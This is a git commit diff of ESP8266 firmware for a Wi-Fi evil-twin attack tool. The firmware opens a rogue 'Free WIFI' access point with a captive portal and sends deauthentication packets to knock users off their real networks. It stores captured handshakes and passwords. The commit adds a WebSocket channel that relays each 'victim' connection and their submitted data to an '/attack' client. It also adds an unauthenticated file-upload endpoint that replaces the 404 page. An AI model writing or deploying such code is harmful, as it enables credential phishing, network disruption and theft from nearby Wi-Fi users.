Commit 218a3dc

Robinhood <ansarithameem674@gmail.com>
2023-07-15 12:09:00
File upload added and WS improvised
v2
1 parent 7c5e24d
captive_portal/data/css/index.css.gz
Binary file
captive_portal/data/js/index.js.gz
Binary file
captive_portal/captive_portal.ino
@@ -17,6 +17,9 @@ ESP8266WebServer server(80);
 WebSocketsServer webSocket = WebSocketsServer(81);
 AccessPoint accessPoints[20];
 AccessPoint selectedAP;
+File fsUploadFile;
+
+int attackersId = -1;
 int AP_COUNT = 0;
 int DEAUTH = 0;
 
@@ -30,29 +33,81 @@ void deauth(AccessPoint ap){
 }
 
 void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
-  if(length == 0) return;
   switch(type) {
-    case WStype_DISCONNECTED:
-      Serial.printf("[%u] Disconnected!\r ", num);
+    case WStype_DISCONNECTED:{
+      if(num == attackersId){
+        attackersId = -1;
+      }
+      else{
+        if(attackersId != -1)
+        {
+          webSocket.sendTXT(attackersId, "Victim disconnected");
+        }
+      }
       break;
-    case WStype_CONNECTED: {
-        IPAddress ip = webSocket.remoteIP(num);
-        Serial.printf("[%u] Connection from ", num);
-        Serial.println(ip.toString());
-        Serial.printf("url: %s\r, ", payload);
-        webSocket.broadcastTXT("New client connected");
+      }
+    case WStype_CONNECTED:{
+      if(strcmp((char*)payload,"/attack") == 0){
+        attackersId = num;
+      }
+      else{
+        if(attackersId != -1)
+        {
+          webSocket.sendTXT(attackersId, "Victim connected");
+        }
       }
       break;
-    case WStype_TEXT:
-      if(strcmp((char*)payload,"ping") == 0){
-        webSocket.sendTXT(num, "pong");
+    }
+    case WStype_TEXT:{
+      DynamicJsonDocument doc(1024);
+      String response;
+      deserializeJson(doc, payload);
+      serializeJsonPretty(doc, response);
+      if(attackersId != -1)
+      {
+        webSocket.sendTXT(attackersId, response);
       }
       break;  
+    }
     default:
       break;  
   }
 }
 
+void handleFileUpload()
+{
+  HTTPUpload &upload = server.upload();
+
+  if (upload.status == UPLOAD_FILE_START)
+  {
+      String filename = upload.filename;
+      if (filename.startsWith("data"))
+        filename = filename.substring(4);
+      if (!filename.startsWith("/"))
+        filename = "/" + filename;
+      fsUploadFile = LittleFS.open(filename, "w");
+      filename = String();
+  }
+  else if (upload.status == UPLOAD_FILE_WRITE)
+  {
+      if (fsUploadFile)
+      {
+        fsUploadFile.write(upload.buf, upload.currentSize);
+      }
+  }
+  else if (upload.status == UPLOAD_FILE_END)
+  {
+      if (fsUploadFile)
+      {
+        fsUploadFile.close();
+      }
+      else
+      {
+        server.send(500, "text/plain", "500: couldn't create file");
+      }
+  }
+}
+
 void setup()
 {
   Serial.begin(115200);
@@ -80,8 +135,13 @@ void setup()
   server.on("/get_networks",[](){AP_COUNT = scan_networks(accessPoints); available_networks(server,accessPoints,AP_COUNT,DEAUTH,selectedAP);});
   server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
   server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
+  server.on(
+      "/upload", HTTP_POST, [](){server.send(200, "application/json", "{\"message\":\"File uploaded successfully\"}"); },
+      handleFileUpload);
+  server.on("/reupload", [](){ server.send(200, "text/html", "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='file' directory='' webkitdirectory=''><input type='submit' value='Upload'></form>");});
 
-  server.on("/deauth",[](){
+  server.on("/deauth", []()
+            {
     int n = server.arg("ap").toInt(); 
     if(n > 0 && n <= AP_COUNT){
       if(DEAUTH == 1){
@@ -95,13 +155,12 @@ void setup()
     }
     else{
       server.send(200, "application/json", "{\"message\":\"Invalid Access Point number\",\"status\":\"error\"}");
-    }
-  });
-  server.on("/stop_deauth",[](){
+    } });
+  server.on("/stop_deauth", []()
+            {
     DEAUTH = 0;
     selectedAP.deauthState=0; 
-    server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}");
-    });
+    server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}"); });
 
   server.onNotFound([](){handleNotFound(server);});
 
@@ -126,6 +185,10 @@ void loop()
       Serial.println("show datas - show datas file");
       Serial.println("reset ssid - reset ssid to default(Free Wifi)");
       Serial.println("storage info - show storage info");
+      Serial.println("scan - scan for networks");
+      Serial.println("list networks - list networks");
+      Serial.println("deauth <ap> - deauth an access point");
+      Serial.println("stop deauth - stop deauthenticating");
     }
 
     else if (strcmp(buffer, "ls") == 0) {
captive_portal/server.h
@@ -29,7 +29,7 @@ void handleRequest(ESP8266WebServer& server,String fileName,String ext) {
         files.close();
     }
     else {
-        server.send(404, "text/plain", "File not found");
+        server.send(200, "text/html", "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='file' directory='' webkitdirectory=''><input type='submit' value='Upload'></form>");
     }
 }
 
@@ -110,18 +110,15 @@ String clearPasswords() {
 void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP){
     String json = "[";
     for (int i = 0; i < apCount; i++) {
-      Serial.println(Deauth);
-      Serial.println(selectedAP.bssid+" "+ ap[i].bssid);
         if(Deauth == 1 && selectedAP.bssid == ap[i].bssid)
         {
           ap[i].deauthState = 1;
-          Serial.println(ap[i].ssid);
         }
         else
         {
           ap[i].deauthState = 0;
         }
-        json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + ap[i].signalStrength + "\",\"channel\":\"" + ap[i].channel + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + ap[i].deauthState + "\"}";
+        json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + String(ap[i].signalStrength) + "\",\"channel\":\"" + String(ap[i].channel) + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + String(ap[i].deauthState) + "\"}";
         if (i < apCount - 1) {
             json += ",";
         }
captive_portal/wifi.h
@@ -12,7 +12,7 @@ public:
   int channel;
   String encryptionType;
   signed signalStrength;
-  int deauthState=0;
+  int deauthState = 0;
   // deauth pkt from spacehuhn
   uint8_t deauthPacket[26] = {
       /*  0 - 1  */ 0xC0, 0x00,                         // type, subtype c0: deauth (a0: disassociate)
@@ -47,11 +47,29 @@ void initialServerSetup(IPAddress APIP)
 
 bool setupWifi()
 {
-  DynamicJsonDocument config = readJsonFile("/json/config.json");
-  const char *ssid = config["ssid"];
-  Serial.println("SSID: " + String(ssid));
-  WiFi.softAP(ssid);
-  return true;
+  if (!LittleFS.exists("/json/datas.json"))
+  {
+    DynamicJsonDocument datas(1024);
+    datas.createNestedArray("handshakes");
+    datas.createNestedArray("passwords");
+    writeJsonFile("/json/datas.json", datas);
+  }
+  if (!LittleFS.exists("/json/config.json"))
+  {
+    DynamicJsonDocument config(1024);
+    config["ssid"] = "Free WIFI";
+    writeJsonFile("/json/config.json", config);
+    WiFi.softAP("Free WIFI");
+    return true;
+  }
+  else
+  {
+    DynamicJsonDocument config = readJsonFile("/json/config.json");
+    const char *ssid = config["ssid"];
+    Serial.println("SSID: " + String(ssid));
+    WiFi.softAP(ssid);
+    return true;
+  }
 }
 
 bool changeWifi(String ssid)
@@ -91,8 +109,7 @@ int scan_networks(AccessPoint ap[])
   }
   else
   {
-    Serial.print(numNetworks);
-    Serial.println(" networks found, updating ap list");
+    Serial.println(String(numNetworks) + " network found, updating ap list");
     for (int i = 0; i < numNetworks; i++)
     {
       ap[i].ssid = WiFi.SSID(i);
@@ -100,14 +117,15 @@ int scan_networks(AccessPoint ap[])
       ap[i].channel = WiFi.channel(i);
       ap[i].encryptionType = encryption_str(WiFi.encryptionType(i));
       ap[i].signalStrength = WiFi.RSSI(i);
-      
+
       // set the BSSID of the deauth packet
-      uint8_t mac[6];  
+      uint8_t mac[6];
       const char *myCharPtr = ap[i].bssid.c_str();
-      for (int i = 0; i < 6; i++) {
+      for (int i = 0; i < 6; i++)
+      {
         char byte_str[3];
-        byte_str[0] = myCharPtr[i*3];
-        byte_str[1] = myCharPtr[i*3+1];
+        byte_str[0] = myCharPtr[i * 3];
+        byte_str[1] = myCharPtr[i * 3 + 1];
         byte_str[2] = '\0';
         mac[i] = strtol(byte_str, NULL, 16);
       }